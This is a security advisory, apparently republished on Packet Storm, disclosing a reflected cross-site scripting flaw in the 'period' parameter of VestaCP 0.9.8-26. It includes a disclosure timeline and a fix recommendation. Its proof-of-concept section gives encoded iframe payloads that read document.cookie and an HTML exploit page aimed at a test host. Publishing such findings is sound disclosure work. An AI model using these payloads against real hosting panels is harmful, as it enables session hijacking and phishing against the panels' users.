exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

VestaCP 0.9.8-26 Cross Site Scripting

VestaCP 0.9.8-26 Cross Site Scripting
Posted Dec 4, 2020
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

VestaCP version 0.9.8-26 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 7e70fa744d9b07edcbfc4a161a26c921eb4218063ebaa6d7a2d8da58ea7d7db7

VestaCP 0.9.8-26 Cross Site Scripting

Change Mirror Download
Document Title:
===============
VestaCP v0.9.8-26 - (period) Cross Site Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2239


Release Date:
=============
2020-11-24


Vulnerability Laboratory ID (VL-ID):
====================================
2239


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Web interface is open source php and javascript interface based on Vesta open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for software and other kinds of works. Its free to change,
modify and redistribute source code.

(Copy of the Homepage: https://vestacp.com/features/ & https://vestacp.com/install/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the VestaCP v0.9.8-26 hosting web-application.


Affected Product(s):
====================
Vesta
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A non-persistent cross site vulnerability has been discovered in the official VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The cross site security vulnerability is located in the `period` parameter of the `./list/rrd/` and `./list/rrd/image.php?/rrd/la/` modules.
The injection point is located in the period parameter and the execution occurs in the `Graphs` module. The request method to inject the
malicious script code is GET and the attack vector of the vulnerability is non-persistent on client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./list/rrd/
[+] ./rrd/la/

Vulnerable File(s):
[+] image.php

Vulnerable Parameter(s):
[+] period


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Example
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]


PoC: Payloads
%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E
%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E


PoC: Exploitation
<html>
<head><body>
<title>VEST Control Panel - Client Side XSS POC</title>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E%20>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E%20>
</body></head>
</html>


PoC: Vulnerable Source (/list/rrd/ & /list/rrd/image.php)
<div class="l-unit un-selected selected-current">
<div class="l-unit-toolbar clearfix">
<div class="l-unit-toolbar__col l-unit-toolbar__col--right noselect">
<div class="actions-panel clearfix">
<div class="actions-panel__col actions-panel__edit actions-panel__download">
<a href="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe> -la.png" target="_blank">download <i></i></a>
</div></div>
... ...
<div class="l-unit__stats">
<img src="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe>-la.png">
</div>


Reference(s):
https://vestacp.localhost:8083/
https://vestacp.localhost:8083/list/
https://vestacp.localhost:8083/list/rrd/


Solution - Fix & Patch:
=======================
The cross site web vulnerability can be resolved by an encode or escape of the vulnerable period parameter context in the get method request.
Sanitize as well the output location of the content to resolve the point were the script code code executes.


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the vesta cp web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close